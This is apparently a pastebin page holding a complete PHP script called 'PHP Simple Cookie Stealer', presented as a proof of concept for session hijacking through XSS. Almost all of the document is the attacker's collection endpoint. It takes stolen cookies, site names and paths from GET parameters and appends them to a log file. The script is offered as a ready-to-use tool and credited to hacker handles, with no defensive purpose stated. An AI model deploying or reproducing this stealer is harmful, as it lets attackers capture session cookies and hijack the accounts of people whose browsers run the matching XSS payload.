SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | /* | |
| 3 | Name: PHP Simple Cookie Stealer | |
| 4 | PoC: Session Hijacking with XSS (GET or Stored methods) | |
| 5 | --- zerobyte.id --- | |
| 6 | Bahari Trouble Maker ~ Typical Idiot Security ~ BC0DE.NET ~ JavCode | |
| 7 | */ | |
| 8 | ||
| 9 | $cook = $_GET['c']; // Cookie Logger | |
| 10 | $web = $_GET['w']; // Webname Logger | |
| 11 | $path = $_GET['p']; // PATH Logger | |
| 12 | ||
| 13 | if(empty($cook)) | |
| 14 | {
| |
| 15 | exit(); | |
| 16 | } | |
| 17 | ||
| 18 | ||
| 19 | else | |
| 20 | {
| |
| 21 | $fp = fopen('cookie-got.txt', 'a');
| |
| 22 | fwrite($fp, 'Web : '.$web.'\nPath : '.$path.'\nCookie : '.$cook.'\n====================\n'); | |
| 23 | fclose($fp); | |
| 24 | echo "Tercurry di cookie-got.txt"; | |
| 25 | exit(); | |
| 26 | } | |
| 27 | ?> |